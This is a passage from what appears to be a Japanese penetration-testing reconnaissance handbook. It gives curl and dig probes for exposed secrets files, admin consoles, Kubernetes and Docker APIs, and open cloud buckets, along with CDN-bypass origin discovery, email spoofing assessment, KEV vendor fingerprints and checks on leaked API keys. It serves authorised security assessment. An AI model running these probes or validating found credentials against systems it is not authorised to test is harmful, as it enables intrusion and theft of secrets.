curl -sk -m 10 "$T/.git/HEAD" | grep -E '^ref:'
# .env (CRITICAL)
curl -sk -m 10 "$T/.env" | grep -E '^[[:space:]]*[A-Z_][A-Z0-9_]*[[:space:]]*='
# Apache /server-status (MEDIUM)
curl -sk -m 10 "$T/server-status" | grep -i 'Apache Server Status'
# Apache /server-info (MEDIUM)
curl -sk -m 10 "$T/server-info" | grep -i 'Apache Server Information'
# .DS_Store (LOW)
curl -sk -m 10 "$T/.DS_Store" -o /tmp/dsstore && file /tmp/dsstore | grep -i 'data'
# phpinfo.php (HIGH)
curl -sk -m 10 "$T/phpinfo.php" | grep -E 'phpinfo\(\)|PHP Version'
# info.php (HIGH)
curl -sk -m 10 "$T/info.php" | grep -E 'phpinfo\(\)|PHP Version'
# Spring Boot /actuator/env (CRITICAL)
curl -sk -m 10 "$T/actuator/env" | grep -E '"propertySources"|systemProperties|systemEnvironment'
# Spring Boot /actuator/heapdump (CRITICAL — saves binary; check size)
curl -sk -m 30 "$T/actuator/heapdump" -o /tmp/heap && file /tmp/heap | grep -i 'HPROF\|data'
# Elasticsearch open (HIGH)
curl -sk -m 10 "$T/_cat/indices?v"
# Jenkins script console (HIGH)
curl -sk -m 10 "$T/script" | grep -iE 'Jenkins|Script Console'
# Tomcat manager (HIGH)
curl -sk -m 10 "$T/manager/html" -w '%{http_code}\n' | tail -1 # 401 = present + auth-gated; 200 = no auth
# WordPress orphan installer (LOW)
curl -sk -m 10 "$T/wp-admin/install.php" | grep -i 'WordPress Installation'
# security.txt (INFO)
curl -sk -m 10 "$T/.well-known/security.txt"
SSO サブドメインのプレフィックス(§16.7):
D="target.example"
for prefix in auth login sso idp iam identity accounts oauth; do
echo "=== ${prefix}.${D} ==="
curl -sk -m 10 "https://${prefix}.${D}/.well-known/openid-configuration" -o /dev/null -w '%{http_code}\n'
done
# Generic OIDC discovery on any host:
curl -sk -m 10 "https://${HOST}/.well-known/openid-configuration" | jq .
SAML メタデータのパス(§16.6):
H="target.example.com"
for p in /saml/metadata \
/FederationMetadata/2007-06/FederationMetadata.xml \
/federationmetadata/2007-06/federationmetadata.xml \
/simplesaml/saml2/idp/metadata.php \
/auth/saml2/metadata; do
echo "=== $p ==="
curl -sk -m 10 "https://${H}${p}" -o /dev/null -w '%{http_code} %{size_download}\n'
done
クラウドバケットのプローブ(§16.8):
B="candidate-bucket-name"
# S3 (us-east-1 first)
curl -sk -m 10 -I "https://${B}.s3.amazonaws.com/" -w 'STATUS:%{http_code}\n' | head -20
# If 200/301: list objects
curl -sk -m 10 "https://${B}.s3.amazonaws.com/?list-type=2" | head -50
# S3 region-specific
for r in us-east-1 us-west-2 eu-west-1 ap-southeast-1; do
curl -sk -m 10 -I "https://${B}.s3-${r}.amazonaws.com/" -w "${r}: %{http_code}\n"
done
# GCS
curl -sk -m 10 -I "https://${B}.storage.googleapis.com/"
curl -sk -m 10 "https://storage.googleapis.com/${B}/"
# Azure Blob
curl -sk -m 10 -I "https://${B}.blob.core.windows.net/"
curl -sk -m 10 "https://${B}.blob.core.windows.net/?comp=list"
GraphQL のイントロスペクション POST(§16.2):
H="https://target.example/graphql"
curl -sk -m 15 -X POST "$H" \
-H 'Content-Type: application/json' \
-d '{
"operationName":"IntrospectionQuery",
"query":"query IntrospectionQuery { __schema { types { name kind fields { name type { name kind } } } queryType { name } mutationType { name } subscriptionType { name } } }"
}' | jq '.data.__schema.types | length'
読み取り専用シークレット検証ツール(§23):
# Postman PMAK
curl -sk -m 10 -H "X-Api-Key: PMAK-..." https://api.getpostman.com/me | jq .
# AWS (use boto3 instead of curl — pre-signing complexity)
python3 -c "import boto3; print(boto3.client('sts', aws_access_key_id='AKIA...', aws_secret_access_key='...').get_caller_identity())"
# GitHub PAT (note scope header)
curl -sk -m 10 -H "Authorization: token ghp_..." https://api.github.com/user -D /tmp/h | jq -r '.login,.email'
grep -i 'X-OAuth-Scopes' /tmp/h
# Slack
curl -sk -m 10 -H "Authorization: Bearer xoxb-..." -X POST https://slack.com/api/auth.test | jq .
# Anthropic (read-only validation)
curl -sk -m 10 -H "x-api-key: sk-ant-..." -H "anthropic-version: 2023-06-01" https://api.anthropic.com/v1/models | jq '.data | length'
# OpenAI
curl -sk -m 10 -H "Authorization: Bearer sk-..." https://api.openai.com/v1/models | jq '.data | length'
# npm
curl -sk -m 10 -H "Authorization: Bearer npm_..." https://registry.npmjs.org/-/whoami | jq .
# Atlassian (account)
curl -sk -m 10 -u "email:ATATT3xFfGF0_..." https://your-domain.atlassian.net/rest/api/3/myself | jq .
# DataDog (API + APP key both required)
curl -sk -m 10 -H "DD-API-KEY: ..." -H "DD-APPLICATION-KEY: ..." https://api.datadoghq.com/api/v1/validate | jq .
Web アプリの一括トリアージ(httpx、curl ループより高速):
# Install: go install github.com/projectdiscovery/httpx/cmd/httpx@latest
echo "target.example" | httpx -sc -title -tech-detect -web-server -ip -cdn -follow-redirects
# With probe list
cat subdomains.txt | httpx -sc -title -tech-detect -path /actuator/env,/.git/config,/.env -mc 200,301,403
証拠としてレスポンスを保存:
mkdir -p evidence/$(date -u +%Y%m%d)
T="https://target.example"
P="/actuator/env"
TS=$(date -u +%Y%m%dT%H%M%SZ)
SAFE_NAME=$(echo "${T}${P}" | tr '/:' '_')
curl -sk -m 10 "$T$P" -o "evidence/$(date -u +%Y%m%d)/${TS}_${SAFE_NAME}.body" \
-D "evidence/$(date -u +%Y%m%d)/${TS}_${SAFE_NAME}.headers"
sha256sum "evidence/$(date -u +%Y%m%d)/${TS}_${SAFE_NAME}".* > "evidence/$(date -u +%Y%m%d)/${TS}_${SAFE_NAME}.sha256"
16.14 メールセキュリティ分析(SPF/DMARC/DKIM/BIMI/MTA-STS/DNSSEC)
ターゲットのメール DNS から、なりすましの実現可能性と SaaS テナントを推定します。
SPF の検索と解析:
D="target.example"
dig +short TXT "$D" | grep -i 'v=spf1'
SPF 解析の一般的なチェックリスト:
-all(ハードフェイル)で終わる → 厳格です。主要プロバイダーはなりすましメールを拒否します。~all(ソフトフェイル)で終わる → なりすましメールは迷惑メールフォルダーに入ります。?allで終わる、またはallがない → 制限が緩く、なりすましメールが届く可能性が高くなります。- 含まれる項目(
include:)から SaaS テナントがわかります。include:_spf.google.com→ Google Workspace。include:spf.protection.outlook.com→ Microsoft 365。include:_spf.salesforce.com→ Salesforce。include:mail.zendesk.com→ Zendesk の顧客。include:sendgrid.net→ SendGrid の顧客。include:mailgun.org→ Mailgun の顧客。include:_spf.atlassian.net→ Atlassian Cloud。include:amazonses.com→ AWS SES。include:mktomail.com→ Marketo。include:_spf.intuit.com→ Intuit(QuickBooks/Mailchimp)。include:spf.mandrillapp.com→ Mandrill。include:_spf.workday.com→ Workday。
SPF に 10 個以上のメカニズムが含まれる場合(ルックアップ数の上限)、SPF の評価が失敗し、なりすましメールが通過する可能性があります。ツール:spfquery、spftools(オンライン)、dig +trace。
DMARC ポリシーとアライメント:
dig +short TXT "_dmarc.${D}"
以下を解析します:
p=→ 主ポリシー(none、quarantine、reject)。sp=→ サブドメインポリシー(デフォルトはp=)。aspf=/adkim=→ アライメントモード(r=緩和、s=厳格)。pct=→ ポリシーの適用対象となるメールの割合。rua=/ruf=→ レポート送信先(dmarcian、valimail、Agari、easydmarc などのSaaS型DMARCベンダーが判明することがよくあります)。
重要度:
p=none→ なりすましが可能で、信頼度が低下します → MEDIUM の検出事項。p=quarantine pct<100→ 一部のみ適用 → LOW。p=reject+aspf=s+adkim=s→ 適切な設定 → 検出事項なし。
DKIM キーの発見:
DKIM セレクターは一般に知られていません。よくあるパターンは次のとおりです。
for selector in default google selector1 selector2 mail email k1 dkim s1 s2 mta1 mta2 \
amazonses 20240101 20230101 mailchimp sendgrid mxvault; do
echo "=== ${selector} ==="
dig +short TXT "${selector}._domainkey.${D}"
done
キーが返された場合は、p=<base64> を抽出し、キーの長さを確認します。RSA-1024 → MEDIUM(非推奨です。2048 以上にする必要があります)。キーがない場合、またはローテーションの頻度が低い場合 → LOW の検出事項。
BIMI(Brand Indicators for Message Identification):
dig +short TXT "default._bimi.${D}"
存在し、DMARC が p=reject の場合 → 受信トレイの UI でブランドなりすましを防御できます。存在しない場合は LOW のみです(運用上の問題であり、悪用可能ではありません)。
MTA-STS(Mail Transfer Agent Strict Transport Security):
dig +short TXT "_mta-sts.${D}"
curl -sk -m 10 "https://mta-sts.${D}/.well-known/mta-sts.txt"
どちらも応答しない場合 → MX サーバーで TLS が強制されていません。MITM 攻撃が可能です。LOW の検出事項。mode=enforce が存在し、ポリシーファイルが一致する場合 → 適切な設定です。
TLS-RPT(TLS Reporting):
dig +short TXT "_smtp._tls.${D}"
DNSSEC の検証:
dig +dnssec "${D}" SOA | grep -E 'flags|RRSIG'
delv "${D}" 2>&1 | grep -i 'fully validated\|insecur'
delv が「insecure」を返す場合 → DNSSEC が有効になっていません(LOW の検出事項。なりすましが可能になるわけではありませんが、セキュリティ強化の不足です)。
MX → IdP / メールホストの推定:
dig +short MX "${D}"
| MX パターン | IdP / ホスティング |
|---|---|
aspmx.l.google.com、*.googlemail.com | Google Workspace |
*.mail.protection.outlook.com | Microsoft 365 |
*.mail.eo.outlook.com | Microsoft 365(旧) |
*.zoho.com | Zoho Mail |
*.yandex.net | Yandex 360 |
*.fastmail.com | Fastmail |
*.proofpoint.com、*.pphosted.com | Proofpoint(Proofpoint の受信メール保護を利用する M365 ユーザー) |
*.mimecast.com、*.mimecast-eu.com | Mimecast |
*.barracudanetworks.com | Barracuda |
| 対象の ASN に属するセルフホストの IP | オンプレミスのメールサーバー(多くの場合 Exchange) |
DMARC レポートベンダーの推定(rua= / ruf= を解析):
| RUA/RUF ホスト | ベンダー | 意味 |
|---|---|---|
*.dmarcian.com | dmarcian | DMARC レポートの利用者 |
*.valimail.com、*.dmarc-rua.com | Valimail | DMARC レポートの利用者 |
*.kdmarc.com | Kratikal kDMARC | インドの DMARC ベンダー。インドの組織でよく使われます |
*.agari.com | Agari (Fortra) | メールセキュリティベンダー |
*.easydmarc.com | EasyDMARC | DMARC レポートの利用者 |
*.dmarcanalyzer.com | DMARC Analyzer | レポートの利用者 |
*.postmarkapp.com | Postmark | DMARC レポートのアドオン |
<addr>@<target-domain> | セルフホストのレポート機能 | 内部メールボックス。チーム名(itg@、secops@、dmarc@)が漏れる場合があります |
ベンダーと内部の RUA メールボックスを記録してください。どちらも情報漏えいの経路になります(ベンダーの侵害=DMARC の回避、内部メールボックス=フィッシングの標的)。
§16.14 の監査全体に対応する Windows / PowerShell 版:
PS 5.1 の Resolve-DnsName は -Type CAA を受け付けません(PowerShell 7 以降を使うか、nslookup -type=CAA <domain> を使用してください)。それ以外は次のとおりです。
$D = "target.example"
"=== SPF ==="; (Resolve-DnsName $D -Type TXT -EA SilentlyContinue | ? { $_.Strings -match 'v=spf1' }).Strings
"=== DMARC ==="; (Resolve-DnsName "_dmarc.$D" -Type TXT -EA SilentlyContinue).Strings
"=== MTA-STS ==="; (Resolve-DnsName "_mta-sts.$D" -Type TXT -EA SilentlyContinue).Strings
"=== TLS-RPT ==="; (Resolve-DnsName "_smtp._tls.$D" -Type TXT -EA SilentlyContinue).Strings
"=== BIMI ==="; (Resolve-DnsName "default._bimi.$D" -Type TXT -EA SilentlyContinue).Strings
"=== MX ==="; Resolve-DnsName $D -Type MX -EA SilentlyContinue | Select NameExchange,Preference
"=== DKIM common selectors ==="
foreach ($s in @("default","google","selector1","selector2","mail","email","k1","dkim","s1","s2","amazonses","mailchimp","sendgrid","mxvault","20240101","zoho","zmail","outlook","o365")) {
$r = Resolve-DnsName "$s._domainkey.$D" -Type TXT -EA SilentlyContinue
if ($r) { "${s}: FOUND" }
}
"=== CAA (PS 5.1 fallback) ==="; nslookup -type=CAA $D 2>$null
16.15 オリジンの特定/CDN のバイパス
ターゲットが Cloudflare/Akamai/Fastly/CloudFront の背後にある場合、それらの CDN の IP アドレスは明確に定義されています。同じサイトを提供している、それらの IP 範囲に含まれない IP アドレスを見つければ、オリジンを特定できます。
Cloudflare の IPv4 範囲:
https://www.cloudflare.com/ips-v4
Akamai の ASN: AS16625、AS20940、AS21342、AS21357。
Fastly: AS54113。
AWS CloudFront: https://ip-ranges.amazonaws.com/ip-ranges.json で公開されています。service:CLOUDFRONT でフィルタリングします。
DNS 履歴からオリジンを特定する:
# SecurityTrails (paid)
curl -sk -H "APIKEY: ..." \
"https://api.securitytrails.com/v1/history/${D}/dns/a" | jq '.records[] | {ip:.values[].ip, first_seen, last_seen}'
無料の代替手段:
# Validin
curl -sk "https://app.validin.com/api/axon/${D}/dns" | jq .
# RiskIQ Community (free tier; auth required)
curl -sk -u "user:apikey" "https://api.riskiq.net/pt/v2/dns/passive?query=${D}" | jq .
結果をフィルタリングします。過去の A レコードの IP アドレスのうち、現在の CDN 範囲に含まれないものは、オリジンの候補です。
証明書の SAN を手掛かりにオリジンを特定する(Censys):
# Censys (free 250 queries/month with key)
censys search "services.tls.certificates.leaf_data.subject.common_name:${D} AND NOT services.tls.certificates.leaf_data.issuer.common_name:'Cloudflare'"
または crt.sh を使い、手動で IP アドレスを確認します:
curl -sk "https://crt.sh/?q=%25.${D}&output=json" | jq -r '.[].name_value' | sort -u
favicon ハッシュからオリジンを特定する(Shodan):
# Compute favicon mmh3
python3 -c "
import urllib.request, codecs, mmh3
data = urllib.request.urlopen('https://target.example/favicon.ico').read()
b64 = codecs.encode(data, 'base64')
print(mmh3.hash(b64))"
# Search Shodan
shodan search "http.favicon.hash:<computed-hash>" --fields ip_str,port,org
CDN の範囲と照合し、CDN に該当しないものをオリジンの候補とします。
JARM からオリジンを特定する:
# Compute JARM
python3 -c "
import jarm
print(jarm.scan('target.example'))
" 2>/dev/null || echo "Install: pip install pyjarm"
# Search Shodan for matching JARM
shodan search "ssl.jarm:<jarm-hash>" --fields ip_str,port
Host ヘッダーのプローブでオリジン候補を検証する:
CANDIDATE_IP="203.0.113.42"
curl -sk -m 10 -H "Host: target.example.com" "https://${CANDIDATE_IP}/" -o /tmp/candidate.html
diff <(curl -sk -m 10 https://target.example.com/) /tmp/candidate.html | head -50
差異がほとんどない、またはまったくない場合は、オリジンであることが確認できています。detectability=low として記録します。
補助サブドメインからオリジンを特定する(CDN を経由しないことがよくあります):
for sub in mail smtp ftp sftp cpanel webmail direct origin direct-connect noproxy \
dev staging stg uat preprod sandbox preview origin-www old-www legacy \
server srv host1 host2 vps server1; do
echo "=== ${sub}.${D} ==="
dig +short A "${sub}.${D}"
done | grep -vE '^(===|$)' | sort -u
返された IP アドレスを CDN の範囲と照合します。
メールヘッダーのバウンスからオリジンを特定する:
ソックパペットアカウントから <random>@${D} 宛てにメールを送信します。バウンスには、インバウンドメールサーバーの実際の IP アドレスを示す Received: ヘッダーが含まれることがよくあります。ウェブオリジンと同じ場所にある場合もあります。
CDN のエラーページの設定不備からオリジンを特定する:
一部の CDN の 5xx エラーページでは、過去にアップストリームの詳細が漏えいしていました。エラーを発生させて調べます:
# Trigger CDN-side 5xx (oversized request, malformed Host)
curl -sk -m 10 -H "Host: " "https://target.example/" -o /tmp/err.html
curl -sk -m 10 -H "X-Forwarded-For: $(python3 -c 'print("a"*8000)')" "https://target.example/"
grep -iE 'origin|upstream|server|backend|cf-ray' /tmp/err.html
16.16 ベンダー製品のフィンガープリント
ターゲットの境界にある一般的なエッジアプライアンス/製品と、フィンガープリントのパスおよび一般的な CVE に関する注意事項です。
| 製品 | フィンガープリントのパス | 注意事項 |
|---|---|---|
| Citrix Netscaler / Gateway | /vpn/index.html、/logon/LogonPoint/tmindex.html、/citrix/ | HTML にバージョンが記載されています。CVE-2023-3519(RCE)、CVE-2019-19781(パストラバーサルによる RCE)。どちらも KEV に掲載されています。 |
| F5 BIG-IP TMUI | /tmui/login.jsp、/mgmt/tm/sys/ | バナーからバージョンを特定できます。CVE-2022-1388(認証バイパス)、CVE-2023-46747。どちらも KEV に掲載されています。 |
| Cisco ASA / AnyConnect | /+CSCOE+/、/CSCOE/index.html、/webvpn.html、/+CSCOE+/portal.html | CVE-2020-3452(ファイル読み取り)、CVE-2018-0101(RCE)。 |
| Pulse Secure / Ivanti Connect | /dana-na/、/dana-na/auth/url_default/welcome.cgi、/api/v1/ | CVE-2024-21887(KEV)、CVE-2023-46805(KEV)。連鎖的なコマンドインジェクションです。 |
| FortiGate / FortiOS | /remote/login、/remote/info、/api/v2/ | CVE-2022-42475(RCE、KEV)、CVE-2024-21762(RCE、KEV)。 |
| PaloAlto GlobalProtect | /global-protect/、/global-protect/portal/css/login.css、/api/?type=keygen | CVE-2024-3400(RCE、KEV)、CVE-2019-1579。 |
| VMware Horizon | /portal/info.jsp、/broker/xml、/login.jsp | log4shell の影響を受ける可能性があります(CVE-2021-44228、KEV)。 |
| VMware vCenter | /sdk、/ui/、/vsphere-client/、/websso/SAML2/ | CVE-2021-21972(RCE、KEV)、CVE-2021-22005。 |
| VMware ESXi | /sdk、/ui/、/folder | CVE-2021-21974(ヒープオーバーフロー → ESXiArgs ランサムウェア、KEV)。 |
| Microsoft Exchange OWA | /owa/、/ews/exchange.asmx、/ecp/ | ProxyShell(CVE-2021-34473)、ProxyLogon(CVE-2021-26855)、ProxyNotShell(CVE-2022-41040)。すべて KEV に掲載されています。 |
| WatchGuard Firebox | /auth/、/wgcgi.cgi | CVE-2022-26318(CGI)。 |
| SonicWall SMA | /cgi-bin/welcome、/__api__/v1/、/diagnostics/ | CVE-2021-20016、CVE-2024-40766(KEV)。 |
| Sophos UTM/XG/XGS | /userportal/、/webconsole/、/cgi-bin/ | CVE-2022-1040(RCE、KEV)。 |
| Check Point R80/R81 | /sslvpn/portal/、/clients/ | CVE-2024-24919(KEV)。 |
| Zoho ManageEngine | /RestAPI/Login、/api/json/v2/ | 複数の RCE CVE があります。バージョンを確認してください。 |
| Atlassian Confluence | /confluence/、/login.action、/rest/api/space | CVE-2022-26134(OGNL RCE、KEV)、CVE-2023-22515(KEV)。 |
| Atlassian Jira | /secure/Dashboard.jspa、/rest/api/2/serverInfo | 複数の CVE があります。バージョンを確認してください。 |
| GitLab セルフホスト版 | /users/sign_in、/-/oauth/applications、/help | HTML フッターにバージョンが記載されています。CVE-2021-22205(RCE、KEV)。 |
| Telerik UI | /Telerik.Web.UI.WebResource.axd?type=rau | CVE-2017-9248、CVE-2019-18935。古いものですが、現在も見つかります。 |
| ConnectWise ScreenConnect | /SetupWizard.aspx、/Bin/SetupWizard.aspx | CVE-2024-1709(認証バイパス、KEV)。 |
| SolarWinds Orion | /Orion/Login.aspx | SUNBURST サプライチェーン攻撃(CVE-2020-10148)。 |
| Kaseya VSA | /dl.asp、/userFilterTableRpt.asp | CVE-2021-30116(REvil サプライチェーン攻撃)。 |
| Microsoft IIS / OWA など | Server: Microsoft-IIS/<version> | 古いバージョンには古い CVE が存在します。確認してください。 |
| Cisco Smart Install | ポート 4786 が開いている | CVE-2018-0171(Smart Install クライアントモードの RCE)。 |
ベンダーごとのプローブパターン:
T="https://target.example"
# Citrix
curl -sk -m 10 "$T/vpn/index.html" -o /tmp/c1 -w '%{http_code}\n'
grep -iE 'NetScaler|Citrix|version' /tmp/c1
# F5
curl -sk -m 10 "$T/tmui/login.jsp" -o /tmp/c2 -w '%{http_code}\n'
grep -iE 'BIG-IP|version' /tmp/c2
# (etc — repeat per product)
Nuclei による自動フィンガープリント:
nuclei -u $T -t http/technologies/ -severity info,low,medium,high,critical
nuclei -u $T -t http/cves/ -severity high,critical -etags fuzz
16.17 クラウドネイティブサービスのフィンガープリント
最新のアプリは、サーバーレス/マネージドサービスにデプロイされます。URL パターンからプラットフォームを特定します。
| プロバイダー | URL パターン | 備考 |
|---|---|---|
| AWS Lambda Function URL | *.lambda-url.<region>.on.aws | 直接呼び出しです。IAM 認証の設定を確認してください。 |
| AWS App Runner | *.<region>.awsapprunner.com | マネージドコンテナです。通常は認証の背後にあります。 |
| AWS API Gateway | *.execute-api.<region>.amazonaws.com | REST/HTTP/WebSocket に対応します。オーソライザーの設定を確認してください。 |
| AWS CloudFront | d{14}\.cloudfront\.net | ディストリビューションです。その背後にあるオリジンを確認してください(§16.15 を参照)。 |
| AWS ALB / ELB | *.elb.<region>.amazonaws.com | 背後には EC2/ECS があります。 |
| AWS Amplify | *.amplifyapp.com | 静的コンテンツと Lambda バックエンドです。 |
| Google Cloud Run | *.run.app (and *.<region>.run.app) | コンテナです。パブリックアクセスと IAM 認証のどちらかを確認してください。 |
| Google Cloud Functions | *.cloudfunctions.net, *.<region>-<project>.cloudfunctions.net | サーバーレスです。 |
| Google App Engine | *.appspot.com | 旧式のサーバーレスサービスです。 |
| Azure Functions | *.azurewebsites.net (also App Service) | Function App は同じドメインパターンを使用します。 |
| Azure Container Apps | *.azurecontainerapps.io | コンテナです。 |
| Azure Static Web Apps | *.azurestaticapps.net | 静的コンテンツと Functions です。 |
| Vercel | *.vercel.app, *.now.sh (legacy) | フロントエンドとサーバーレスです。 |
| Netlify | *.netlify.app, *.netlify.com | フロントエンドと Functions です。 |
| Cloudflare Workers | *.workers.dev | エッジ関数です。 |
| Cloudflare Pages | *.pages.dev | 静的コンテンツと Functions です。 |
| Heroku | *.herokuapp.com | Dynos です。 |
| Render | *.onrender.com | コンテナ/静的コンテンツです。 |
| Fly.io | *.fly.dev | エッジコンテナです。 |
| Railway | *.railway.app | アプリケーションプラットフォームです。 |
| DigitalOcean App Platform | *.ondigitalocean.app | 静的コンテンツとコンテナです。 |
各パターンについて:
- パブリックアクセスか認証が必要かを確認します(HEAD / GET)。
- CORS の設定を確認します。
- Lambda Function URLs/Cloud Run/Cloud Functions では、IAM 認証が強制されているかを確認します(匿名での呼び出しは HIGH の検出事項です)。
- 静的コンテンツと Functions のハイブリッド(Vercel/Netlify/Cloudflare Pages)では、通常、関数のパスは
/api/*です。JavaScript から抽出して列挙します。
16.18 コンテナと Kubernetes の露出
増加傾向にあり、NAT の内側にあると見落とされがちです。
| 対象 | ポート | プローブ | 露出時の重大度 |
|---|---|---|---|
| Docker API(暗号化なし) | 2375 | curl -sk -m 5 http://${IP}:2375/v1.40/info | CRITICAL(コンテナ/ホストの乗っ取り) |
| Docker API(TLS) | 2376 | curl -sk -m 5 https://${IP}:2376/v1.40/info | HIGH(証明書の検証を回避できる可能性があります) |
| Kubernetes API サーバー | 6443 / 8443 | curl -sk -m 5 https://${IP}:6443/api | system:anonymous が 403 以外を返す場合は HIGH |
| Kubernetes Dashboard | 8001 / 9090 / 30000+ | curl -sk -m 5 http://${IP}:8001/api/v1/namespaces/kube-system/services/kubernetes-dashboard | 到達可能な場合は HIGH |
| kubelet | 10250(HTTPS)、10255(HTTP、非推奨) | curl -sk -m 5 https://${IP}:10250/pods | CRITICAL(認証なしの場合、Pod でコマンドを実行可能) |
| etcd | 2379(クライアント)、2380(ピア) | curl -sk -m 5 https://${IP}:2379/v2/keys/(v2)または etcdctl --endpoints=${IP}:2379 get /(v3) | CRITICAL(クラスターの状態とシークレット) |
| kube-proxy | 10256 | curl http://${IP}:10256/healthz | INFO |
| kube-controller-manager | 10257 | curl https://${IP}:10257/metrics | MEDIUM |
| kube-scheduler | 10259 | curl https://${IP}:10259/metrics | MEDIUM |
| cAdvisor | 4194(非推奨) | curl http://${IP}:4194/metrics | LOW(リソースメトリクス) |
| Helm Tiller(Helm 2 — 非推奨ですが、見つかることがあります) | 44134 | helm --host ${IP}:44134 list | HIGH(Tiller には cluster-admin 権限がありました) |
漏えいがないか確認するパブリックコンテナレジストリ:
| レジストリ | 検索パターン |
|---|---|
| Docker Hub | https://hub.docker.com/search?q=<target-keyword>&type=image |
| Quay(Red Hat) | https://quay.io/search?q=<target-keyword> |
| GitHub Container Registry(GHCR) | GitHub API で列挙可能:https://api.github.com/orgs/<org>/packages?package_type=container |
| Amazon ECR Public | https://gallery.ecr.aws/?searchTerm=<keyword> |
| Azure Container Registry(パブリック) | さまざまです。*.azurecr.io を確認してください |
| Google Container Registry(パブリック) | https://console.cloud.google.com/gcr/images/<project>?project=<project> |
イメージごとのスキャンワークフロー:
docker pull <registry>/<image>:<tag>(またはskopeo inspect)。docker save <image> -o /tmp/img.tar。- レイヤーを展開し、シークレットカタログ(§17)でスキャンします。
Dockerfileの履歴(docker history <image>)を確認します。ビルド引数やシークレットの COPY が明らかになることがあります。
16.19 CI/CD プラットフォームの露出
| プラットフォーム | よくある露出箇所 | 確認方法 |
|---|---|---|
| Jenkins | /script(Groovy コンソール。認証がない場合は RCE)、/asynchPeople/、/jnlpJars/jenkins-cli.jar、/computer/、/job/<name>/api/json | curl -sk -m 10 "${T}/script" and curl -sk -m 10 "${T}/asynchPeople/api/json" |
| GitLab self-hosted | /users/sign_in(HTML にバージョンが記載)、/-/oauth/applications(認証が必要)、/api/v4/version、/-/snippets/<id>/raw | curl -sk -m 10 "${T}/api/v4/version" |
| GitHub Actions ワークフローファイル | 任意の公開リポジトリにある .github/workflows/*.yml | GitHub のコード検索で検索:path:.github/workflows extension:yml secrets |
| CircleCI 設定 | 任意のリポジトリにある .circleci/config.yml | 検索:path:.circleci/config.yml |
| TeamCity | /login.html、/agent.html?agentId=*、/admin/admin.html | curl -sk -m 10 "${T}/login.html" | grep -i 'TeamCity' — バージョンが漏えいします。CVE-2024-27198(KEV)。 |
| Bamboo (Atlassian) | /userlogin.action、/rest/api/latest/info | curl -sk -m 10 "${T}/rest/api/latest/info" |
| Drone CI | /api/info、/login | curl -sk -m 10 "${T}/api/info" |
| Travis CI (legacy) | リポジトリ内の .travis.yml、https://api.travis-ci.com/repos/<owner>/<repo> | API からビルド環境が公開されることがよくあります。 |
| Argo CD | /api/version、/applications | curl -sk -m 10 "${T}/api/version"。匿名認証の設定状況を確認してください。 |
| Tekton | /apis/tekton.dev/v1beta1/pipelineruns(K8s ネイティブ) | K8s API を使って列挙します。 |
| Spinnaker | /gate/info、/applications | curl -sk -m 10 "${T}/gate/info" |
| Buildkite | 組織ごとのダッシュボード。通常は認証の背後にあります。 | 公開エージェントページを確認してください。 |
ワークフロー内で探す GitHub Actions のシークレット漏えいパターン:
# Anti-pattern: secret echoed to log
run: echo "${{ secrets.MY_API_KEY }}"
# Anti-pattern: secret in environment without mask
env:
KEY: ${{ secrets.MY_API_KEY }}
run: ./deploy.sh # script may echo $KEY
# Anti-pattern: pull_request_target with checkout of fork code (CVE class)
on: pull_request_target
jobs:
test:
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.sha }} # checks out fork code with secrets in env
16.20 ドキュメント/Wiki の漏えいパス
コラボレーションプラットフォームの公開共有機能から、定期的に情報が漏えいします。
| プラットフォーム | URL パターン | 露出する情報 |
|---|---|---|
| Notion (publish page) | *.notion.site/<slug> または notion.so/<workspace>/<page-id> | 公開ページ。ワークスペース全体が誤って公開されていることもあります。 |
| Confluence Cloud (anonymous) | <target>.atlassian.net/wiki/spaces/ | 公開スペース。/wiki/display/<SPACE>/ も確認してください。 |
| Atlassian Service Desk | <target>.atlassian.net/servicedesk/customer/portal/<N> | 内部のリクエスト種別がすべて一覧表示されることがあります。 |
| Trello board | https://trello.com/b/<id>/<slug> | カードを含む公開ボード。Google で site:trello.com "${target}" を検索して確認してください。 |
| Asana public project | https://app.asana.com/0/<id>/<id> | 公開プロジェクトビュー。 |
| ReadTheDocs | <project>.readthedocs.io | ホストされたドキュメント。「private builds」がデフォルトで公開になっていることがあります。 |
| GitBook | <workspace>.gitbook.io/<book>/ | 公開されたドキュメント。内部の SOP が含まれることがあります。 |
| MkDocs / Docusaurus on subdomain | docs.<target> | 内部アーキテクチャ図やセットアップ手順が含まれていることがよくあります。 |
| Slab | <workspace>.slab.com/posts/<id> | 公開された投稿。 |
| Coda | coda.io/d/<doc-id> | 公開ドキュメント。 |
| Miro | https://miro.com/app/board/<id>/ | 公開ボード(アーキテクチャ図が含まれていることがよくあります)。 |
| Lucidchart | https://lucid.app/lucidchart/<id>/view | 公開図。 |
| Figma | https://www.figma.com/file/<key>/ | 公開デザインファイル。製品仕様が漏えいしていることもあります。 |
| GitHub Wiki | github.com/<org>/<repo>/wiki | 公開 Wiki。古いものも確認してください。 |
| Linear | linear.app/<workspace>/issue/<id> | 公開課題(まれですが、発生することがあります)。 |
| Confluence anonymous server | <target>/confluence/、<target>/wiki/(セルフホスト) | 匿名での読み取りが有効なままになっていることがあります。 |
| Monday.com | view.monday.com/<id> | 共有ボード。 |
| Wrike | app.wrike.com/external/<id> | 外部共有スペース。 |
検索演算子を使った調査:
site:notion.site "{target}"
site:notion.so "{target}"
site:atlassian.net "{target}"
site:trello.com "{target}"
site:miro.com "{target}"
site:lucid.app "{target}"
site:figma.com "{target}"
site:asana.com "{target}"
site:gitbook.io "{target}"
site:readthedocs.io "{target}"
16.21 WHOIS/RDAP/履歴情報
WHOIS では現在の登録者がわかります。RDAP はその構造化された後継であり、過去の WHOIS は調査の起点として有用です。
現在の WHOIS:
whois target.example # standard CLI
curl -sk -m 10 "https://www.whois.com/whois/${D}" # web fallback
RDAP(RFC 7480、構造化 JSON):
# IANA bootstrap → returns the registry RDAP server
curl -sk "https://rdap.org/domain/${D}" | jq .
curl -sk "https://www.iana.org/rdap" | jq . # bootstrap registry
WHOIS/RDAP から抽出する情報:
- 登録者:氏名、組織、メールアドレス、電話番号、住所(GDPR 施行後は非公開になっていることが多いですが、EU 域外の登録者については公開されている場合もあります)。
- レジストラ:関連ドメインのレジストラアカウントを調査する起点になります。
- 作成日/更新日/有効期限:一括登録のパターンから、同一の登録者を特定できます。
- ネームサーバー:NS の再利用を調査する起点になります。
- ステータスフラグ(
clientHold、clientTransferProhibitedなど)=セキュリティ態勢の指標です。 - 不正利用の連絡先:責任ある脆弱性開示に役立ちます(§30)。
過去の WHOIS:
